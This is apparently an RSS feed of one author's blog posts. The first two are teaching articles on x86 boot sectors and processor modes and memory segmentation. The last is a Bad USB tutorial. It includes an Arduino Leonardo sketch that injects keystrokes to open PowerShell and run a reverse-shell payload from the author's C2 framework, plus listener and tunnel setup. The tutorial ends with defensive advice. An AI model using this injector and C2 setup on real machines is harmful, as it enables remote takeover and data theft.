register is commonly used as a source pointer in x86 assembly.</p><p>This instruction loads the address of print_text into SI.</p><p>In simple terms:</p><ul><li>SI now points to the first character of our message.</li><li>The processor knows where to begin reading characters.</li></ul><h4>2.4 Reading Characters One by One</h4><pre>.print_loop:<br>    lodsb</pre><p>lodsb stands for <strong>Load String Byte </strong>which is an inbuilt string instruction.</p><p>It performs two operations:</p><ol><li>Loads the byte pointed to by SI into the AL register.</li><li>Automatically increments SI to point to the next character.</li></ol><p>So if our string is:</p><pre>Hello World</pre><p>The first execution loads:</p><pre>&#39;H&#39;</pre><p>The second execution loads:</p><pre>&#39;e&#39;</pre><p>And so on.</p><h4>2.5 Detecting the End of the String</h4><pre>cmp al, 0<br>je .halt</pre><p>Our string ends with a null terminator (0).</p><p>This code checks whether the current character is zero.</p><p>If it is:</p><pre>je .halt</pre><p>Execution jumps to the halt section and stops.</p><p>Otherwise, the bootloader continues printing characters.</p><h4><strong>2.6 Printing a Character</strong></h4><pre>mov ah, 0x0E<br>int 0x10</pre><p>int 0x10 is a BIOS video service interrupt.</p><p>mov ah, 0x0E — Selects the BIOS teletype output function, which prints the character stored in the AL register to the screen.</p><p>There are multiple function available in the video service interrupt. That can be changed by chaning the value in the ahregiseter.</p><h4><strong>2.7 Looping Through the Entire String</strong></h4><pre>jmp .print_loop</pre><p>After printing one character, we jump back to the beginning of the loop.</p><p>The process repeats until the null terminator is reached.</p><p>This creates a simple character-by-character printing routine.</p><h4>2.8 Stopping the Processor</h4><pre>.halt:<br>    cli<br>    hlt</pre><p>Once the string is finished, execution reaches the halt section.</p><pre>cli</pre><p>Disables hardware interrupts.</p><pre>hlt</pre><p>Halts the CPU.</p><p>At this point, our job is complete.</p><p>The bootloader has displayed the message and has nothing left to do.</p><h4>2.9 Defining the Message</h4><pre>print_text db &quot;Hello World&quot;, 0x0D, 0x0A, 0</pre><p>This creates our string in memory.</p><ul><li>&quot;Hello World&quot; → Text to display</li><li>0x0D → Carriage Return</li><li>0x0A → Line Feed</li><li>0 → Null terminator</li></ul><p>The null terminator tells our loop where the string ends.</p><p>Without it, the processor would keep reading random memory and printing garbage characters.</p><h4>2.10 Filling the Boot Sector</h4><pre>times 510-($-$$) db 0</pre><p>A boot sector must be exactly <strong>512 bytes</strong>.</p><p>This directive fills the remaining unused space with zeros.</p><p>Let’s break it down:</p><ul><li>$ = current position</li><li>$$ = beginning of the section</li><li>($-$$) = current size of the bootloader</li></ul><p>NASM calculates how many bytes are still needed and fills the gap with zeros.</p><h4>2.11 The Boot Signature</h4><pre>dw 0xAA55</pre><p>The final two bytes of every bootable sector must contain:</p><pre>55 AA</pre><p>(Stored as 0xAA55 because x86 uses little-endian format.)</p><p>When the BIOS loads a sector, it checks for this signature.</p><p>If the signature is present:</p><p>✅ The sector is considered bootable.</p><p>If the signature is missing:</p><p>❌ The BIOS refuses to boot it.</p><h4>3. What Happens When We Boot?</h4><p>The complete execution flow is:</p><ol><li>The BIOS loads the first sector of the floppy into memory at 0x7C00.</li><li>Execution jumps to our bootloader.</li><li>The bootloader loads the address of &quot;Hello World&quot; into SI.</li><li>Characters are read one by one using lodsb.</li><li>BIOS interrupt 0x10 prints each character.</li><li>The loop continues until the null terminator is reached.</li><li>The CPU halts.</li></ol><p>And just like that, we’ve made a computer execute our own code without an operating system.</p><p>Not a kernel.</p><p>Not a library.</p><p>Not a runtime.</p><p>Just 512 bytes and a processor willing to listen.</p><blockquote>Our first batch is officially out of the oven.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*hMcdA1zyVi6ZqkZh.gif" /></figure><h3>What’s Coming Next?</h3><p>The next part covers filesystems and how FAT12 works under the hood. We’ll explore its structure, understand how files are stored on disk, and learn why FAT12 became the standard filesystem for floppy disks. By the end of the next chapter, we’ll have our FAT12 filesystem fully set up and ready for our operating system to use.</p><p>Link for the source code : <a href="https://github.com/dharineeshj/OS_DEV_Series">https://github.com/dharineeshj/OS_DEV_Series</a></p><p>My LinkedIn account: <a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6312c1cfc883" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Development Series — Part 3:Understanding Processor Modes, Memory Management, and System…]]></title>
            <link>https://medium.com/@dharineeshj2/part-3-understanding-processor-modes-memory-management-and-system-communication-in-os-e9c03fbf1e8e?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9c03fbf1e8e</guid>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[hardware]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Thu, 14 May 2026 18:39:28 GMT</pubDate>
            <atom:updated>2026-06-18T13:48:35.878Z</atom:updated>
            <content:encoded><![CDATA[<h3>OS Development Series — Part 3:Understanding Processor Modes, Memory Management, and System Communication in OS Development</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/0*EJqF-zyhOCK1sVXn" /></figure><p>In the previous parts of this operating system development series, we built the foundation required to understand how an operating system boots and interacts with hardware. We looked at bootloaders, basic assembly, and how the processor begins executing instructions after power-on. Those concepts are essential because before building advanced kernel features, we need to understand how the processor communicates with memory, how programs are organized internally, and how modern processors safely execute operating systems.</p><p>In this part, we are going deeper into the architecture of a computer system. We will understand how the CPU communicates with RAM, how a program is organized inside memory, why processors have multiple operating modes, how memory is managed differently in each mode, and finally why a processor must transition from one mode to another during the boot process.</p><p>By the end of this article, you will have a clear understanding of what happens behind the scenes when a system moves from BIOS execution to a modern protected operating system.</p><h3>Understanding the System Bus</h3><p>Whenever the processor wants to communicate with memory or hardware devices, it cannot do so magically. There needs to be a communication channel between components. This communication channel is called the <strong>system bus</strong>.</p><p>A system bus is a collection of electrical lines that carry information between the CPU, memory, and peripheral devices. Every read operation, write operation, interrupt, or device communication happens through this bus.</p><p>The system bus is divided into three important parts:</p><ul><li>Data bus</li><li>Address bus</li><li>Control bus</li></ul><p>All three work together to complete a single operation.</p><p>To understand this, imagine the CPU wants to read a byte from memory.</p><p>First, the CPU must specify <em>where</em> the data is located. Then it must specify <em>what operation</em> should happen. Finally, the actual data must travel back to the CPU. These three tasks are handled by three different buses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*-0i2myxYK6ZIl9ujgY6Lvg.jpeg" /><figcaption>Traces</figcaption></figure><p>The light-yellow lines between the RAM slots and the processor carry signals that form part of the system bus. These physical lines are called traces.</p><h4>1. Data Bus</h4><p>The data bus carries the actual data between the CPU and memory.</p><p>Whenever the processor wants to read data from RAM, the requested data travels through the data bus. Similarly, when the CPU wants to store a value into memory, that value is sent through the same bus.</p><p>You can think of the data bus as a highway carrying actual information.</p><p>The width of the data bus determines how much data can be transferred in one operation. For example, a 32-bit data bus can transfer 32 bits at a time, while a 64-bit data bus can transfer 64 bits at once.</p><p>This is one of the reasons modern processors can process large amounts of data efficiently.</p><h4>2. Address Bus</h4><p>The address bus tells the memory system where the CPU wants to read or write data.</p><p>Every byte in RAM has a unique address. If the CPU wants data stored at memory location 0x1000, it places this address onto the address bus</p><blockquote><strong>Note:</strong> Each address points to a byte space in the memory</blockquote><p>The memory controller reads this address and activates that specific memory location.</p><p>The width of the address bus determines how much memory can be accessed. For example: If the processor has 20 address lines then the total size of the memory is 2²⁰ = 1MB. If the processor has 32 address lines then the total size of the memory is 2³² = 4GB. Therefore the address bus directly impacts the maximum memory a processor can use.</p><h4>3. Control Bus</h4><p>The control bus carries signals that control the operation being performed.</p><p>After placing an address on the address bus, the CPU must tell memory what to do. Should it read data? Should it write data? Is there an interrupt? Should the device reset?</p><p>These instructions are carried through the control bus.</p><p>Common control signals include:</p><ul><li>Read</li><li>Write</li><li>Interrupt</li><li>Reset</li><li>Clock</li></ul><p>Without the control bus, the system would know where to access memory but would not know what action to perform.</p><h3>Sections of a Program</h3><p>A compiled program is not considered as one continuous block of code. Instead, it is divided into multiple logical sections, each designed for a specific purpose.</p><p>Whenever a program is loaded into memory, the operating system places different parts of the program into different segments.</p><p>The major sections are code, data, BSS, stack, and heap.</p><h4>1. Code Segment (.text)</h4><p>The code segment contains the actual executable instructions of the program.</p><p>When you write C code like:</p><pre>printf(&quot;Hello World&quot;);</pre><p>The compiler converts this high-level instruction into machine code. These machine instructions are stored inside the code segment. This segment is usually marked as read-only to prevent accidental modification of executable instructions.</p><p>This is an important security feature because if executable code could be modified freely, malicious software could easily inject harmful instructions.</p><h4>2. Data Segment</h4><p>The data segment stores initialized global and static variables.</p><p>For example:</p><pre>int x = 10;</pre><p>Here the variable x already has a value assigned before program execution. Because the value is known during compilation, it is stored in the data segment. This segment remains available throughout the entire lifetime of the program.</p><h4>3. BSS Segment</h4><p>BSS stands for <strong>Block Started by Symbol</strong>. This segment stores uninitialized global and static variables.</p><p>For example:</p><pre>int count;</pre><p>Since no initial value is assigned, this variable is placed in the BSS segment. When the program starts, the operating system automatically initializes BSS memory to zero. This saves space in the executable file because zeros do not need to be explicitly stored.</p><h4>4. Stack Segment</h4><p>The stack is one of the most important memory regions in a program.</p><p>It stores temporary data needed during function execution.</p><p>This includes:</p><ul><li>Local variables</li><li>Function parameters</li><li>Return addresses</li><li>Saved registers</li></ul><p>For example:</p><pre>void func() {<br>    int x = 5;<br>}</pre><p>The variable x is stored on the stack. Whenever a function is called, a new stack frame is created. When the function finishes execution, that frame is removed automatically. This is why the stack grows and shrinks continuously during program execution.</p><h4>5. Heap Segment</h4><p>The heap is used for dynamic memory allocation. Unlike stack memory, heap memory remains allocated until the programmer explicitly releases it.</p><p>For example:</p><pre>int *ptr = malloc(sizeof(int));</pre><p>The memory returned by malloc() comes from the heap. Heap memory is extremely useful when the amount of memory needed is not known during compilation. Operating systems, databases, browsers, and games heavily rely on heap allocation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/154/0*LC3_ujTp_jh8R4Dy" /><figcaption>Section of an Program</figcaption></figure><p>I have provided a basic explanation of the sections of the code, which is sufficient for the upcoming session. If needed, I will break down the more advanced concepts of each section in greater detail later.</p><h3>Processor Operating Modes</h3><p>Modern processors do not always operate in the same mode. Different modes provide different capabilities and security features. The three major modes we need to understand are:</p><ul><li>Real Mode</li><li>Protected Mode</li><li>Virtual Mode</li></ul><p>Each mode exists for a specific purpose.</p><h4>1. Real Mode</h4><p>When a computer powers on, the processor begins execution in real mode.</p><p>Real mode exists mainly for backward compatibility with older x86 systems.</p><p>This mode is simple but has many limitations. In real mode, the processor primarily uses 16-bit registers and generates 20-bit physical addresses. That means the maximum memory that can be accessed is 2²⁰ = 1MB</p><p>Real mode has no memory protection. Any program can access any memory location. There are no privilege levels, no process isolation, and no multitasking support. This means a single buggy program can overwrite critical system memory and crash the entire system. This is one of the major reasons modern operating systems cannot remain in real mode. MS-DOS is one of the best examples of an operating system that runs entirely in real mode.</p><blockquote><strong>Note:</strong> Bootloaders and BIOS firmware start execution in real mode.</blockquote><h4>1.1 Real Mode Addressing</h4><p>A common question is: If registers are only 16 bits, how can the processor generate a 20-bit address?</p><p>The answer is address segmentation. Real mode uses <strong>segment:offset addressing</strong>. The processor calculates the physical address using:</p><pre>Physical Address = (Segment &lt;&lt; 4) + Offset</pre><p>This means the segment value is shifted left by four bits and then added to the offset.</p><p>Example:</p><pre>Segment = 0x1000<br>Offset  = 0x0020</pre><p>Physical address becomes:</p><pre>0x10020</pre><p>This mechanism allows the processor to access the full 1MB memory space.</p><h4>2. Protected Mode</h4><p>Real mode is useful for startup, but it is not suitable for modern operating systems.</p><p>To solve these limitations, Intel introduced protected mode.</p><p>Protected mode provides:</p><ul><li>Larger memory access</li><li>Memory protection</li><li>Privilege levels (Ring system)</li><li>Process isolation</li><li>Multitasking</li></ul><p>With 32 address lines, the processor can access:</p><p>2³² = 4GB</p><p>This is a massive improvement over the 1MB limitation of real mode.</p><p>Protected mode prevents one program from overwriting another program’s memory.</p><p>It also allows the operating system kernel to run with higher privileges than user applications.</p><p>This separation is one of the foundations of modern system security.</p><h4>2.1 Protected Mode Memory Management</h4><p>Protected mode still uses segment selectors and offsets, but the segment registers now reference descriptor tables instead of directly contributing to physical address calculation.</p><p>Instead, it uses descriptor tables.</p><p>A descriptor contains metadata about a memory segment.</p><p>This includes:</p><ul><li>Base address</li><li>Limit</li><li>Access permissions</li><li>Privilege level</li><li>Granularity</li></ul><p>These descriptors are stored inside special tables. There are three types of Descriptor tables</p><ul><li>Global Descriptor Table (GDT)</li><li>Local Descriptor Table (LDT)</li><li>Interrupt Descriptor Table (IDT)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*CI9f2WNtHNKX-ANu" /><figcaption>Privilege Ring Level</figcaption></figure><h4>2.1.1 Global Descriptor Table (GDT)</h4><p>The GDT contains descriptors shared by the entire system.</p><p>It defines kernel code segments, kernel data segments, and other global memory regions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DioOJGROGHoIUbyQdSxhtg.png" /><figcaption>GDT</figcaption></figure><h4>2.1.2 Local Descriptor Table (LDT)</h4><p>The LDT contains descriptors specific to a process.</p><p>Different applications may use different local descriptors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YQdTZbCcxCDEWEbby1nvgQ.png" /><figcaption>LDT</figcaption></figure><h4>2.1.3 Interrupt Descriptor Table (IDT)</h4><p>The IDT stores interrupt handlers.</p><p>Whenever an interrupt occurs, the processor uses this table to locate the correct handler.</p><p>These tables make protected mode secure, organized, and scalable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKIxuzDhvcVQPMxztAcnMw.png" /><figcaption>IDT</figcaption></figure><h4>2.1.4 How address is calculated ?</h4><p>Unlike real mode, protected mode uses segment registers for different purpose. They store a 16 bit value which is used to get the base address, limit address, ring level from the respective descriptor table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3C5Nw-fS6Zc4_x1FCLgqjQ.png" /></figure><p>The above image is the breakdown of the segment selector used by the protected mode.</p><p>Here is exactly what happens when your code executes an instruction like mov [0x1234], eax.</p><p><strong>Step 1: Analyzing the Segment Selector</strong></p><p>The CPU looks at the Segment Register. The CPU breaks this 16-bit value into three parts: (e.g., ds stores 0x0020)</p><ul><li><strong>Index :</strong> The binary value of <strong>0x0020 </strong>which is stored in the <strong>ds </strong>register is <strong>000000000010000. </strong>The decimal value of the bits ranging from 15–3 is 2. Thus it points to the 2nd entry of the descriptor table.</li><li><strong>TI :</strong> Bit number 2 is 0. Thus it points to the Global Descriptor Table.</li><li><strong>RPL :</strong> Bit 1–0 is 00 which ensures the request has Kernel-level privileges.</li></ul><p><strong>Step 2: The GDT Descriptor Lookup</strong></p><p>The CPU uses the <strong>GDTR</strong> register to locate the GDT in memory. It jumps to the index specified in Step 1 and reads the <strong>Segment Descriptor</strong>. This 8-byte entry contains:</p><ul><li><strong>Base Address:</strong> The physical starting point (e.g., 0x00200000).</li><li><strong>Limit Address: </strong>Add the base address with offset to check whether it is exceeding the limit or not.</li><li><strong>Access Rights:</strong> Verification that the code has permission to write to this area.</li></ul><p><strong>Step 3: Generating the Linear Address</strong></p><p>Once permissions are verified, the CPU adds the <strong>Offset</strong> from your code to the <strong>Base Address</strong> found in the GDT.</p><p>In our example: 0x00200000 + 0x1234 = 0x00201234.</p><p><strong>Step 4: Hardware Execution</strong></p><p>The CPU places the final result (0x00201234) onto the <strong>Address Bus</strong>. The Memory Controller identifies the specific electrical location in your RAM and stores the data from the eax register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*kjnSdm9hg7n1RnNp" /><figcaption>Flow Diagram of address calculation in protected mode</figcaption></figure><h4>2.2 Memory-Mapped I/O</h4><p>In real mode, BIOS interrupts are commonly used to communicate with hardware.</p><p>In protected mode, BIOS interrupts are no longer practical. Instead, hardware devices are mapped into memory. This technique is called <strong>memory-mapped I/O</strong>.</p><p>For example, VGA text memory begins at <strong>0xB8000</strong></p><p>If we write a character into this address, the display hardware reads it and shows it on the screen. This means hardware can be controlled by simply reading and writing memory addresses. Most modern hardware communication works using this technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvxcQushGb9vs97ZfLu9Zg.png" /><figcaption>Memory Mapped I/O</figcaption></figure><p>The above image is an example of memory layout of the memory mapped i/o</p><blockquote><strong>Note:</strong> Have you ever wondered how the CPU knows where the BIOS is? the moment you hit the power button? The answer is <strong>Memory-Mapped I/O (MMIO)</strong>. Upon power-on, the processor initializes its registers to a hardcoded state, loading the <strong>Instruction Pointer</strong> with a specific address known as the <strong>Reset Vector</strong> (typically 0xFFFFFFF0). Although the CPU is in Real Mode, the hardware maps this high address directly to the BIOS/UEFI chip on your motherboard. This allows the processor to fetch its very first instructions from the ROM chip as if it were reading from standard RAM, kickstarting the entire boot process before any operating system even exists.</blockquote><h4>3. Virtual Mode</h4><p>A problem arises after switching to protected mode. What if we still want to run old software written for real mode in protected mode? To solve this, processors support <strong>Virtual Mode</strong>. This mode allows real-mode applications to execute inside a protected environment. This provides backward compatibility without compromising system security. Older DOS applications used this mechanism on modern systems.</p><h3>Transitioning from Real Mode to Protected Mode</h3><p>When the computer starts:</p><ul><li>BIOS runs in real mode.</li><li>The bootloader also runs in real mode.</li></ul><p>However, modern operating systems require protected mode. So the processor must transition. The transition begins by creating a <strong>Global Descriptor Table</strong>. The operating system then loads this table using the LGDT instruction. Next, the operating system enables protected mode by setting bit 0 of the CR0 register.After that, a far jump is performed. This updates the code segment register and forces the processor to begin executing in protected mode. At this point, the system leaves the limitations of real mode behind and enters the modern execution environment.</p><p>This has been a high-level overview of the transition; in the next blog, we will dive into the actual assembly code to implement it.</p><h3>Why This Transition Matters</h3><p>Without this transition, the processor would remain limited to:</p><ul><li>1MB memory</li><li>No multitasking</li><li>No security</li><li>No process isolation</li><li>No user/kernel separation</li></ul><p>Modern operating systems like Linux, Windows, and macOS depend entirely on protected mode features.</p><p>Switching modes is not optional — it is essential.</p><h3>What’s Next?</h3><p>If you’re following this OS development series, Part 4 is coming next.</p><p>We can either:</p><p>🔹 Break down the motherboard and its core components<br>🔹 Jump straight into writing our first protected-mode kernel</p><p>Which path would you like to explore?</p><p>Share your thoughts or connect with me on LinkedIn: <a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9c03fbf1e8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bad USB: The Invisible Hardware Threat]]></title>
            <link>https://infosecwriteups.com/bad-usb-the-invisible-hardware-threat-c1bc8f064405?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1bc8f064405</guid>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[arduino]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Wed, 06 May 2026 16:34:25 GMT</pubDate>
            <atom:updated>2026-05-12T06:29:36.039Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bNXMiy63vormncBfBk4G6Q.png" /></figure><p>Imagine plugging a simple USB drive into your computer. Within seconds, your system is fully compromised. There is no suspicious file download, no warning, and no security pop-up. Just instant, silent execution.</p><p>Sounds like a scene from a Hollywood movie? It isn’t. That is exactly what a <strong>Bad USB</strong> attack looks like in the real world.</p><p>In this deep dive, we will break down what a Bad USB is, why it completely bypasses traditional security, how to build an educational prototype using an open-source framework, and how to defend against these invisible hardware threats.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> </em>This content is strictly for educational, research, and authorized penetration testing purposes.</blockquote><h3>Prerequisites &amp; Required Knowledge</h3><p>On the technical side, a basic understanding of C logic (such as variables, functions, and delays) will help you understand the hardware code. To work on linux terminal a basic knowledge of linux commands is needed. Finally, familiarity with network tunneling, ports, and how operating systems interact with USB Human Interface Devices (HID) will make tracking the payload delivery much easier.</p><h3>Necessary Tools &amp; Components</h3><ul><li><strong>HID-Compliant Hardware:</strong> An Arduino Leonardo (or any compact development board powered by the ATmega32u4 microcontroller) that supports native USB emulation.</li><li><strong>USB Data Cable:</strong> A reliable USB cable (such as a Type-C or Micro-USB, depending on your board) capable of handling both power and data transfers.</li><li><strong>The Arduino IDE:</strong> The official software platform installed on your workstation to write, compile, and upload your Embedded C code to the hardware.</li><li><strong>A Linux Environment:</strong> A Linux machine or virtual environment required to host the remote listener framework.</li><li><strong>An Isolated Test Target:</strong> A dedicated Windows workstation or virtual machine (VM) owned entirely by you to safely execute and analyze the payload behavior.</li></ul><h3>What Exactly is a Bad USB?</h3><p>A Bad USB does not look like a specialized hacking gadget; it looks exactly like a standard thumb drive, charging cable, or peripheral. The difference lies entirely in its internal firmware.</p><p>Instead of presenting itself to the operating system as a mass storage device, a Bad USB is programmed to masquerade as a trusted <strong>Human Interface Device (HID)</strong> — specifically, a keyboard.</p><p>The moment you plug it in, the host operating system identifies it as a legitimate input device and implicitly trusts it. Because computers are designed to obey human keyboard inputs without question, the device can instantly begin sending malicious keystrokes at superhuman speeds.</p><h3>Why Bad USB Bypass Traditional Security</h3><p>Traditional Endpoint Detection and Response (EDR) and Antivirus (AV) software are designed to scan files, monitor network packets, and analyze process memory. They are rarely designed to distrust a keyboard.</p><p>A Bad USB effortlessly navigates around these initial barriers because:</p><ul><li><strong>No Initial Files:</strong> It does not drop a physical file onto the disk to trigger static file scanners.</li><li><strong>Implicit Trust:</strong> The operating system views the keystrokes as if an authorized user is sitting at the console typing them.</li><li><strong>Incredible Speed:</strong> It can open a terminal, type a multi-line script, execute it, and close the window in under two seconds.</li></ul><h3>What Can a Bad USB Actually Do?</h3><p>Once a target machine accepts the connection, an attacker can automate almost any physical action within seconds:</p><ul><li>🔓 <strong>Inject Keystrokes:</strong> Open terminals to execute system-level commands.</li><li>💾 <strong>Exfiltrate Data:</strong> Copy sensitive credentials, browser histories, or SSH keys to a remote server.</li><li>🌐 <strong>Establish Persistence:</strong> Download malware or drop a reverse shell for persistent remote access.</li><li>💥 <strong>Deploy Ransomware:</strong> Trigger localized scripts to encrypt user files before the victim realizes what happened.</li></ul><h3>The Hardware Behind the Attack</h3><p>To build a proof-of-concept Bad USB, researchers often turn to microcontrollers with native USB capabilities. One of the most popular choices is the <strong>Arduino Leonardo</strong>.</p><p>These boards are built on the <strong>ATmega32u4</strong> microcontroller. Unlike older microcontrollers, the ATmega32u4 features a built-in USB controller, allowing it to natively emulate a keyboard or mouse right out of the box without requiring extra hardware layers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*5vQDZmrGEkBhWASCPLJLKQ.jpeg" /><figcaption>Arduino Leonardo</figcaption></figure><p>The component circled in pink is the ATmega32u4 chipset powering the Leonardo board.</p><blockquote>Note: Because the microcontroller board is so small, we can enclose it in a custom 3D-printed case to make it look exactly like a standard thumb drive.</blockquote><h3>Integrating the Arduino IDE</h3><p>To bridge the gap between our hardware and our exploitation code, we use the <strong>Arduino IDE</strong> (Integrated Development Environment). This open-source platform allows us to write, debug, and flash our Embedded C code directly onto the microcontroller.</p><p>By utilizing the IDE’s built-in compiler, our human-readable instructions are optimized into machine code and pushed directly onto the board’s flash memory.</p><p>Download and install from <a href="https://www.arduino.cc/en/software/">https://www.arduino.cc/en/software/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udHN_iPGRaceNvhStoW9_A.png" /><figcaption>Arduino IDE</figcaption></figure><h3>Building a Bad USB: Hardware Hacking with Revenant</h3><p>For this demonstration, we will program an Arduino Leonardo to deploy a payload generated by <strong>Revenant</strong> — an open-source exploitation framework I developed for payload generation and remote analytics.</p><p>Check out the <a href="https://medium.com/bugbountywriteup/revenant-a-modern-full-stack-reverse-shell-c2-framework-from-payload-generation-to-victim-c73167670619"><strong>blog</strong> </a>to Know more about the framework.</p><h4>Step 1: Setting Up the Listener</h4><p>Before configuring our hardware, we need a way for the target system to communicate back to our machine across the internet. Revenant uses cloudflaredto establish a secure tunnel which helps us to access the victims anywhere around the world.</p><p><strong>1. Installing Cloudflared (Linux x86_64):</strong></p><p>Run the below commands to install Cloudflared.</p><pre>wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64<br>chmod +x cloudflared-linux-amd64<br>sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared</pre><pre># Verify the installation is successful<br>cloudflared --version</pre><p><strong>2. Launching the Revenant Framework:</strong></p><p>Clone the repo <a href="https://github.com/dharineeshj/Revenant">https://github.com/dharineeshj/Revenant</a> or download the revenant executable from the repo.</p><p>Run your Revenant executable with superuser privileges and define your listener port:</p><p>Bash</p><pre>sudo ./revenant -p 100</pre><p>Inside the interactive framework, generate a Windows-compatible payload string using the following command.</p><pre>generate os=windows</pre><p>Copy the generated payload string to your clipboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7UCAIiRmmbl-auZE0UHCEg.png" /></figure><h4>Step 2: Programming the HID Emulator</h4><p>Now we need to program our microcontroller to automatically open a terminal and paste our payload. Open your <strong>Arduino IDE</strong> and copy the following Embedded C sketch:</p><pre>#include &lt;Keyboard.h&gt;<br>// Replace this with your unique string from the Revenant framework<br>const char* payload = &quot;REPLACE_WITH_YOUR_GENERATED_PAYLOAD&quot;;<br>void setup() {<br>  // 3-second grace period ensuring the host OS fully registers the USB device<br>  delay(3000); <br>  Keyboard.begin();<br>  // Step 1: Open the &#39;Run&#39; dialog box (Win + R)<br>  Keyboard.press(KEY_LEFT_GUI);<br>  Keyboard.press(&#39;r&#39;);<br>  delay(150);<br>  Keyboard.releaseAll();<br>  delay(500);<br>  // Step 2: Open PowerShell<br>  Keyboard.print(&quot;powershell&quot;);<br>  Keyboard.press(KEY_RETURN);<br>  Keyboard.releaseAll();<br>  <br>  // Wait 1.5 seconds for the PowerShell terminal interface to initialize<br>  delay(1500);<br>  // Step 3: Stream and execute the Revenant payload<br>  Keyboard.print(payload);<br>  Keyboard.press(KEY_RETURN);<br>  Keyboard.releaseAll();<br>  // Safeguard: Unmount the keyboard interface to prevent repeat executions<br>  Keyboard.end();<br>}<br>void loop() {<br>  // Left intentionally blank<br>}</pre><p>Make sure to replace the payload variable with actual payload generate using our framework.</p><h4>Step 3: Flashing and Deployment</h4><ol><li>Connect your Leonardo board to your workstation via a USB-C cable.</li><li>In the Arduino IDE menu, navigate to <strong>Tools &gt; Board</strong> and choose <strong>Arduino Leonardo</strong>.</li><li>Go to <strong>Tools &gt; Port</strong> and pick your active serial port.</li><li>Click the <strong>Upload</strong> arrow to compile and flash the code.</li></ol><p>Once compiled, your hardware prototype is live. Plugging it into an authorized target Windows computer will instantly open PowerShell and invoke your remote listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*nY51_tZOxS9xS5DvJvP50Q.gif" /></figure><h3>How to Protect Yourself from Hardware Exploits</h3><p>Because Bad USB attacks operate at the hardware validation level, traditional cybersecurity defenses aren’t enough. Securing a network requires physical and architectural safeguards:</p><ul><li>🚫 <strong>Strict Physical Hygiene:</strong> Never plug an untrusted, found, or unverified USB device into a machine. “USB dropping” is still a highly effective social engineering tactic.</li><li>🔒 <strong>Device Whitelisting:</strong> Implement Enterprise Group Policy Objects (GPOs) or Endpoint Protection platforms to explicitly block unauthorized USB Vendor IDs (VID) and Product IDs (PID).</li><li>⚙️ <strong>Disable Native Prompts:</strong> Restrict unauthorized users from accessing prompt components like powershell.exe or the command line directly via standard user restrictions.</li><li>🔍 <strong>Behavioral Analytics:</strong> Deploy advanced monitoring software capable of flagging superhuman typing speeds (e.g., hundreds of characters typed perfectly in under a second).</li></ul><h3>Resources Links</h3><p><strong>Revenant Repo:</strong> <a href="https://github.com/dharineeshj/Revenant">https://github.com/dharineeshj/Revenant</a></p><p><strong>Arduino IDE: </strong><a href="https://www.arduino.cc/en/software/">https://www.arduino.cc/en/software/</a></p><p><strong>Revenant Blog: </strong><a href="https://medium.com/bugbountywriteup/revenant-a-modern-full-stack-reverse-shell-c2-framework-from-payload-generation-to-victim-c73167670619">https://medium.com/bugbountywriteup/revenant-a-modern-full-stack-reverse-shell-c2-framework-from-payload-generation-to-victim-c73167670619</a></p><p><strong>Arduino Lenord Amazon: </strong><a href="https://www.amazon.in/Micro-Leonardo-Microcontroller-Development-Arduino/dp/B0B66355JJ?crid=1O1YD6ROXC0GM&amp;keywords=Arduino%2Bleonardo&amp;qid=1702631135&amp;sprefix=arduino%2Bleonardo,aps,232&amp;sr=8-5&amp;th=1&amp;linkCode=sl1&amp;tag=techtalkies09-21&amp;linkId=94905bf137dada3f82b1370d2416ed7f&amp;language=en_IN&amp;ref_=as_li_ss_tl">https://www.amazon.in/Micro-Leonardo-Microcontroller-Development-Arduino/dp/B0B66355JJ?crid=1O1YD6ROXC0GM&amp;keywords=Arduino%2Bleonardo&amp;qid=1702631135&amp;sprefix=arduino%2Bleonardo,aps,232&amp;sr=8-5&amp;th=1&amp;linkCode=sl1&amp;tag=techtalkies09-21&amp;linkId=94905bf137dada3f82b1370d2416ed7f&amp;language=en_IN&amp;ref_=as_li_ss_tl</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1bc8f064405" width="1" height="1" 